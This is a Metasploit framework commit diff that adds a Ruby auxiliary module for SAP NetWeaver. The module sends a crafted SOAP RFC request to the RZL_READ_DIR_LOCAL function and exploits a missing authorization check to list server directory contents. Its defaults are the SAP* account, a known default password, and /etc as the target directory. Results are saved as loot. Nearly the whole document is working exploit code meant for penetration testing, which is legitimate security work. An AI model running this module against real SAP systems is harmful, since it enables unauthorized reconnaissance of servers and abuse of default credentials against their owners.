Land rapid7#1657, @nmonkee's RZL_READ_DIR_LOCAL SAP dir listing module

Author: jvazquez-r7

modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir.rb

@@ -0,0 +1,122 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+##
+# This module is based on, inspired by, or is a port of a plugin available in
+# the Onapsis Bizploit Opensource ERP Penetration Testing framework -
+# http://www.onapsis.com/research-free-solutions.php.
+# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts
+# in producing the Metasploit modules and was happy to share his knowledge and
+# experience - a very cool guy.
+#
+# The following guys from ERP-SCAN deserve credit for their contributions -
+# Alexandr Polyakov, Alexey Sintsov, Alexey Tyurin, Dmitry Chastukhin and
+# Dmitry Evdokimov.
+#
+# I'd also like to thank Chris John Riley, Ian de Villiers and Joris van de Vis
+# who have Beta tested the modules and provided excellent feedback. Some people
+# just seem to enjoy hacking SAP :)
+##
+
+require 'msf/core'
+
+class Metasploit4 < Msf::Auxiliary
+	include Msf::Exploit::Remote::HttpClient
+	include Msf::Auxiliary::Report
+	include Msf::Auxiliary::Scanner
+
+	def initialize
+		super(
+			'Name' => 'SAP SOAP RFC RZL_READ_DIR_LOCAL Directory Contents Listing',
+			'Description' => %q{
+					This module exploits the SAP NetWeaver RZL_READ_DIR_LOCAL function, on the SAP
+				SOAP RFC Service, to enumerate directory contents. It returns only the first 32
+				characters of the filename since they are truncated.
+			},
+			'References' => [
+				[ 'OSVDB', '92732'],
+				[ 'URL', 'http://erpscan.com/advisories/dsecrg-12-026-sap-netweaver-rzl_read_dir_local-missing-authorization-check-and-smb-relay-vulnerability/' ]
+			],
+			'Author' =>
+				[
+					'Alexey Tyurin', # Vulnerability discovery
+					'nmonkee' # Metasploit module
+				],
+			'License' => MSF_LICENSE
+		)
+
+		register_options([
+			OptString.new('CLIENT', [true, 'SAP Client', '001']),
+			OptString.new('USERNAME', [true, 'Username', 'SAP*']),
+			OptString.new('PASSWORD', [true, 'Password', '06071992']),
+			OptString.new('DIR',[true,'Directory path (e.g. /etc)','/etc'])
+		], self.class)
+	end
+
+	def parse_xml(xml_data)
+		files = []
+		xml_doc  = Nokogiri::XML(xml_data)
+		xml_doc.css('item').each {|item|
+			name = item.css('NAME')
+			size = item.css('SIZE')
+			if not name.empty? and not size.empty?
+				files << { "name" => name.text, "size" => size.text }
+			end
+		}
+		return files
+	end
+
+	def run_host(ip)
+		data = '<?xml version="1.0" encoding="utf-8" ?>'
+		data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"  '
+		data << 'xmlns:xsd="http://www.w3.org/1999/XMLSchema"  xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance"  xmlns:m0="http://tempuri.org/"  '
+		data << 'xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/">'
+		data << '<SOAP-ENV:Header/>'
+		data << '<SOAP-ENV:Body>'
+		data << '<RZL_READ_DIR_LOCAL xmlns="urn:sap-com:document:sap:rfc:functions">'
+		data << '<FILE_TBL>'
+		data << '<item>'
+		data << '<NAME></NAME>'
+		data << '<SIZE></SIZE>'
+		data << '</item>'
+		data << '</FILE_TBL>'
+		data << '<NAME>' + datastore['DIR'] + '</NAME>'
+		data << '</RZL_READ_DIR_LOCAL>'
+		data << '</SOAP-ENV:Body>'
+		data << '</SOAP-ENV:Envelope>'
+
+		begin
+			vprint_status("#{rhost}:#{rport} - Sending request to enumerate #{datastore['DIR']}")
+			res = send_request_cgi({
+				'uri' => '/sap/bc/soap/rfc',
+				'method' => 'POST',
+				'data' => data,
+				'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
+				'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
+				'ctype' => 'text/xml; charset=UTF-8',
+				'headers' => {
+					'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
+				},
+				'vars_get' => {
+					'sap-client' => datastore['CLIENT'],
+					'sap-language' => 'EN'
+				}
+			})
+			if res and res.code == 200 and res.body =~ /rfc:RZL_READ_DIR_LOCAL.Response/
+				files = parse_xml(res.body)
+				path = store_loot("sap.soap.rfc.dir", "text/xml", rhost, res.body, datastore['DIR'])
+				print_good("#{rhost}:#{rport} - #{datastore['DIR']} successfully enumerated, results stored on #{path}")
+				files.each { |f|
+					vprint_line("Entry: #{f["name"]}, Size: #{f["size"].to_i}")
+				}
+			end
+		rescue ::Rex::ConnectionError
+			vprint_error("#{rhost}:#{rport} - Unable to connect")
+			return
+		end
+	end
+end